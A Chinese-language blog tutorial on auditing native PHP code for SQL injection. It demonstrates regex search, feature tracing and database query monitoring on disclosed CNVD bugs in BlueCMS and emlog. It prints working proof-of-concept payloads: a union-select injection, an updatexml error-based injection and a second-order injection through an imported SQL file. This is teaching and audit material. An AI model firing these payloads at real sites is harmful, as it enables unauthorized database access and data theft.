知识点
1、PHP审计-原生态开发-SQL注入&数据库语句监控
2、PHP审计-原生态开发-SQL注入&正则匹配搜索
3、PHP审计-原生态开发-SQL注入&功能追踪
代码审计分类:
1、原生态开发-代码审计源码案例
2、框架类开发-代码审计源码案例
3、组件类开发-代码审计源码案例
4、前端类开发-代码审计源码案例
简要点:
1、代码审计必备知识点:
环境搭建使用,工具插件安装使用,掌握各种漏洞原理及利用,代码开发类知识点。
2、代码审计开始前准备:
审计目标的程序名,版本,当前环境(系统,中间件,脚本语言等信息),各种插件等。
3、代码审计挖掘漏洞根本:
可控变量及特定函数,不存在过滤或过滤不严谨存在绕过导致的安全漏洞。
![图片[1]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/2345282285306665049.png)
![图片[2]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/2627983418006431938.png)

挖掘技巧:
数据库语句监控-数据库SQL监控排查可利用语句定向分析
功能追踪-功能点文件SQL执行代码函数调用链追踪
正则搜索-(update|select|insert|delete|).?where.=
如何快速的在多个文件代码里面找脆弱点:
1、看文件路径
2、看代码里面的变量(可控)
3、看变量前后的过滤
一、演示案例-PHP审计-原生开发-SQL注入-正则搜索
Bluecms-CNVD-1Day-常规注入审计分析
![图片[3]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/1982319892719989967.png)
审计流程:
(update|select|insert|delete|).?where.=
正则-ad_js.php->getone()->无过滤->有输出payload注入
![图片[4]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/3550379621927389592.png)
搜出来的有一百多个结果,不可能一个一个点进去看,就需要从文件路径、代码里的可控变量、变量前后是否有过滤来排个顺序
![图片[5]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/2380342037899430768.png)
![图片[6]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/8265258116647136044.png)
![图片[7]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/6528635434201606955.png)
![图片[8]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/5834279871826173856.png)
![图片[9]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/7367263195850107326.png)

既然都没看到过滤,那就尝试调用

Poc:
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
![图片[10]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/4896163140168674755.png)
![图片[11]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/8892911858349272905.png)
![图片[12]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/2401392844523784257.png)
![图片[13]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/7465181117028536286.png)
![图片[14]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/7870967179970791516.png)

二、演示案例-PHP审计-原生开发-SQL注入-功能跟踪
emlog-CNVD-1Day-常规注入审计分析
https://www.cnvd.org.cn/flaw/show/CNVD-2018-26200
![图片[15]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/8622550067011830811.png)
![图片[16]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/7759795042023667427.png)
审计流程:
comment.php->delCommentByIp($ip)->无过滤->构造触发
![图片[17]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/3387953200793687407.png)
![图片[18]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/658793257179454296.png)
![图片[19]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/265144571677627244.png)
![图片[20]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/7890632378111820529.png)
![图片[21]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/7727838256318443365.png)
![图片[22]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/5730558427346945522.png)
![图片[23]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/7872697910732755149.png)
![图片[24]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/4905140251890286017.png)
![图片[25]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/2231052578241648052.png)
![图片[26]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/8431465427415215404.png)
![图片[27]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/6851421802568820644.png)
![图片[28]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/6766746989957824250.png)
![图片[29]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/6122177363362786455.png)
![图片[30]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/8564259440187843563.png)
![图片[31]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/4444960217628221821.png)
Poc:
/admin/comment.php?action=delbyip&ip=’ and updatexml(1,concat(0x7e,(select user()),0x7e)) –+’&token=11f3f9cb7e78e3f88e39ea5678939b7d
![图片[32]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/5683711117991911195.png)

三、演示案例-PHP审计-原生开发-SQL注入-数据库语句监控
emlog-CNVD-1Day-2次注入审计分析
https://www.cnvd.org.cn/flaw/show/CNVD-2023-65138
![图片[33]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/8027772006044218036.png)
审计流程:
数据库监控->user.php无可控->nickname->添加不可控->data.php可控->导出修改导入->触发二次注入
数据库监控项目:https://github.com/cw1997/MySQL-Monitor
![图片[34]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/6920512207633465937.png)
![图片[35]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/6851689082534404319.png)
![图片[36]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/6113202588585129822.png)
![图片[37]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/5361877799412997177.png)
![图片[38]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/5774076914594814548.png)
![图片[39]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/4670072666406885364.png)
![图片[40]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/2351369735280726599.png)
![图片[41]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/299398548469509519.png)
![图片[42]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/7034946591619045353.png)

Poc:
/admin/data.php
导入文件时执行SQL文件中语句,带入Payload
INSERT INTO emlog_user VALUES(‘110′,”,’$P$BnTaZnToynOoAVP6T/MiTsZc9ZAQNg.’,(select version()),’writer’,’n’,”,’123@qq.com ‘ , ”,”,’0′,’1687261845′,’1687261845’);
![图片[43]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网](https://niuimg.niucores.com/wp-content/uploads/2025/01/5410566554479726794.png)

/admin/user.php
select查询nickname条件数据,访问触发二次注入

来源链接:https://www.cnblogs.com/loveqixin/p/18672918











没有回复内容